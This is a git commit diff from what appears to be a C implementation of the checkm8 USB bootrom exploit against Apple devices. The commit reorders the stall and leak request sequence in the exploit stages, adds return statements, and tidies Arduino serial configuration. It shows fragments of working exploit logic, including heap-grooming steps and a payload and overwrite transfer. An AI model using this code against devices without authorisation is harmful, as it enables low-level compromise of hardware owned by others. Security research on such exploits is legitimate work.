Not sure how but this works so much better??

This commit is contained in:
2019-12-30 16:53:29 -05:00
parent 1c9e62fa54
commit 4d7acad065
4 changed files with 23 additions and 14 deletions

View File

@@ -34,6 +34,8 @@ int dfu_send_data(struct pwned_device *dev, unsigned char *data, long data_len)
}
index += amount;
}
return CHECKM8_SUCCESS;
}
static unsigned char nullbuf[16] = {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0};

View File

@@ -121,9 +121,8 @@ int stage1_function(struct pwned_device *dev)
unsigned int i;
stall(dev);
for(i = 0; i < 5; i++) no_leak(dev);
usb_req_leak(dev);
no_leak(dev);
leak(dev);
for(i = 0; i < 6; i++) no_leak(dev);
reset(dev);
return CHECKM8_SUCCESS;
@@ -166,8 +165,9 @@ int stage3_function(struct pwned_device *dev)
fread(payload_buf, pl_len, 1, payload_file);
fclose(payload_file);
usb_req_stall(dev);
usb_req_leak(dev);
stall(dev);
leak(dev);
leak(dev);
checkm8_debug_indent("\ttransferring overwrite (%i bytes)\n", ow_len);
while(index < ow_len)

View File

@@ -43,25 +43,32 @@ int open_device_session(struct pwned_device *dev)
switch(ARDUINO_BAUD)
{
case 4800:
brate = B4800; break;
brate = B4800;
break;
case 9600:
brate = B9600; break;
brate = B9600;
break;
case 19200:
brate = B19200; break;
brate = B19200;
break;
case 38400:
brate = B38400; break;
brate = B38400;
break;
case 57600:
brate = B57600; break;
brate = B57600;
break;
case 115200:
brate = B115200; break;
brate = B115200;
break;
default:
brate = B9600; break;
brate = B9600;
break;
}
cfsetispeed(&toptions, brate);
@@ -612,5 +619,6 @@ int serial_descriptor(struct pwned_device *dev, unsigned char *serial_buf, int l
struct libusb_device_descriptor *desc = dev->bundle->descriptor;
libusb_get_string_descriptor_ascii(handle, desc->iSerialNumber, serial_buf, len);
return CHECKM8_SUCCESS;
#endif
}

View File

@@ -3,9 +3,8 @@
//#define LIBUSB_LOGGING
#define CHECKM8_LOGGING
#define ARDUINO_LOGGING
#define WITH_ARDUINO
//#define WITH_ARDUINO
#define ARDUINO_DEV "/dev/ttyACM0"
#define ARDUINO_BAUD 115200